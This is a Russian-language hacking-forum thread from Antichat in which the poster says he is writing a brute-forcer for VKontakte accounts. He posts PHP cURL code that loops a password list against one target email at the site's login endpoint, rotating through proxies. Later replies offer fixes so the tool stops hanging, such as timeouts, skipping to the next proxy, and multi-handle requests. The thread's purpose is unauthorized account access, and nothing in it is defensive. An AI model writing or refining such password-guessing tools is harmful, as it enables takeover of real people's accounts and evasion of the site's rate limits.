HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > ПРОГРАММИРОВАНИЕ > PHP
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

cURL (proxy, post)
  #1  
Старый 20.04.2009, 22:28
Ru}{eeZ
Постоянный
Регистрация: 19.02.2008
Сообщений: 438
С нами: 9591561

Репутация: 186
По умолчанию cURL (proxy, post)

Пишу брутер вконтакта и столкнулся с проблемой, почему-то виснет скрипт, но только когда гоняю цикл, вот он сам:
PHP код:
<?php
set_time_limit
(0);
$base 'base.txt';
$proxy 'proxy.txt';
$base file($base);
$proxy file($proxy);
$email 'kvnnbv@mail.ru';

echo 
'<pre>';
print_r($base);
print_r($proxy);
echo 
'</pre>';

$curl curl_init();
$setopt = array(
  
CURLOPT_URL => 'http://vkontakte.ru/login.php',
  
CURLOPT_POST => 1,
  
CURLOPT_RETURNTRANSFER => 1
);
curl_setopt_array($curl,$setopt);
for(
$i 0$j 0$i count($base); $i++, $j++) {
  if(
$j === count($proxy)) $j 0/*echo '<br />'.trim($proxy[$j]).'%';*/
  
curl_setopt($curl,CURLOPT_PROXY,trim($proxy[$j]));
  
curl_setopt($curl,CURLOPT_POSTFIELDS,'op=a_login_attempt&email='.urlencode($email).'&pass='.urlencode(trim($base[$i])).'&expire=0');
  echo 
curl_exec($curl);
}
curl_close($curl);
?>
Естественно, что там ещё много не даписано, брика нет, да и ещё много чего нет...
 
Ответить с цитированием

  #2  
Старый 20.04.2009, 22:53
eLWAux
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
С нами: 9423746

Репутация: 2399


По умолчанию

попробуй curl_multi_init
 
Ответить с цитированием

  #3  
Старый 20.04.2009, 23:43
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Почему виснет? Потому что если прокси нерабочая в данный момент, то нет команды не курлить дальше и разорвать соединение, каждую проксю ПЕРЕД использованием надо проверять на рабочесть. По идее
 
Ответить с цитированием

  #4  
Старый 20.04.2009, 23:47
159932
Постоянный
Регистрация: 28.09.2007
Сообщений: 820
С нами: 9799586

Репутация: 1385


По умолчанию

CURLOPT_TIMEOUT ога!

2 eLWAux
не многопотоке дело

2 Pashkela
нах проверять перед этим ? просто поставить CURLOPT_TIMEOUT со значением допустим 30 и если ответа не последовало, одевать следующую проксю и выполнять запрос повторно ..
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Curl + POST + array/sring Doom123 PHP 1 13.04.2009 21:04
Живые прокси xdx Skype, IRC, ICQ, Jabber и другие IM 111 15.04.2007 13:10
Proxy Kozak-Scv Анонимность 2 11.02.2007 17:28



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.